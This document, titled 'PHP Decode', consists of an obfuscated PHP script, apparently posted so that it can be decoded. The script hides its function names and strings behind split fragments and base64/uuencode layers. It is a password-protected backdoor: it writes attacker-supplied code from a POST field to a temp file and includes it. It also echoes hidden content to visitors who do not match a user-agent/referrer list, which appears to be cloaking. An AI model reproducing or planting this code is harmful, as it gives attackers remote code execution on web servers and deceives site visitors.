PHP Decode

<?php  
$t='er'.'ro'.'r_'.'r'.'epo'.'rt'.'in'.'g'; 
$b0='MDxXRVM3Vj1FPSVdVDk2VVA3VjFJPEBgYApgCg=='; 
$b1='b'.'a'.'se'.'6'.'4_'.'e'.''.'nc'.'od'.'e'; 
$b2='b'.'as'.'e'.'6'.'4_d'.'e'.'c'.'o'.'d'.'e'; 
$b3='c'.'on'.'ve'.'rt_uue'.'nco'.'de'; 
$b4='c'.'o'.'nve'.'rt'.'_u'.'ude'.'co'.'de'; 
$b5='MTlGRUw5'.'NV1QPTcxP'.'zhWXU'.'49JjVOPScsYApgCg=='; 
$b7=''; 
$b8='JD0mR'.'UM6U'.'GBgCmAK'; 
$b9='IzkmRUUKYAo='; 
$b10='Izs2'.'MFU'.'KYAo='; 
$b11='QC4mOFE5Q0RWLSYkVDhDMUQ'.'uJjBRODYsU'.'zlDYFMuI'.'zhWLjMtRCx'.'DQUQsIyxgCmAK'; 
$b12='IjhG'.'QGA'.'KYAo='; 
$b13='IjhDLGAKYAo='; 
$b14='Ji8jXV'.'A6J'.'2BACmAK'; 
$b18='LS8nLUM8R'.'kVQPSIh'.'UzxGLF0pUGBgCmAK'; 
$b19='KylTWFwrVy1DPEZFUD0jWGAKYAo='; 
$b20='TTonMVQ8JyxaK1JdUz0mJVkrRlFJO0Y1Uz0mXUc5NzBOOFZdTStXLUM8RkVQPScsTzhWQUU4VkxOOkcsXwopPUY1Ui8zPE4sUlhXCmAK'; 
$b21='JTwnKUk7RzBgCmAK'; 
$b22='KD1XYE04NjFNOjZYYApgCg=='; 
$b23='KD1XYE07Jl1HOjZYYApgCg=='; 
$b24='KjxGNVM9JV1SO1c1VDkwYGAKYAo='; 
$b25='Jz1XYE06Ry1PO0BgYApgCg=='; 
$b30='KTIlMTQ0JV0oM1UtNApgCg=='; 
$b31='KzRENTE1NDUzNSVdNTRERGAKYAo='; 
$b34='JjxXMVI8Jl1TCmAK'; 
$b41='WlhOeWEycDBjMmg1Y3paaFpUUnJhblU9'; 
$b16=$b4($b2($b0))(); 
 
if (isset($_POST[$b4($b2($b12))])) 
 
{ 
	if($b4($b2($b10))($_POST[$b4($b2($b12))])===$b4($b2($b11))) 
	{  
	$b45=$_POST[$b4($b2($b13))]; 
	$b4($b2($b5)) 
	($b16.'/'.$b4($b2($b8)),$b4($b2($b14)).$b2($b45)); 
	@include($b16.'/'.$b4($b2($b8))); 
	die(); 
	} 
} 
 
if(isset($_POST[$b4($b2($b8)).$b4($b2($b8))])||isset($_GET[$b4($b2($b8)).$b4($b2($b8))])) 
{ 
	echo $b4($b2($b10))($b4($b2($b8))); 
	die(); 
} 
 
else  
 
{ 
 
$b27=0; 
$b26=array($b4($b2($b22)),$b4($b2($b23)),$b4($b2($b24)),$b4($b2($b25))); 
$b32 = $_SERVER[$b4($b2($b30))].$_SERVER[$b4($b2($b31))]; 
 
foreach ($b26 as $b33) 
{ 
	if($b4($b2($b34))($b32,$b33) !== false) 
	{ 
	  $b27=1; 
    } 
} 
 
	if($b27==0)  
	{ 
	 
		echo $b4($b2($b18)).$b4($b2($b20)).$b4($b2($b19)); 
	} 
}  
 
?>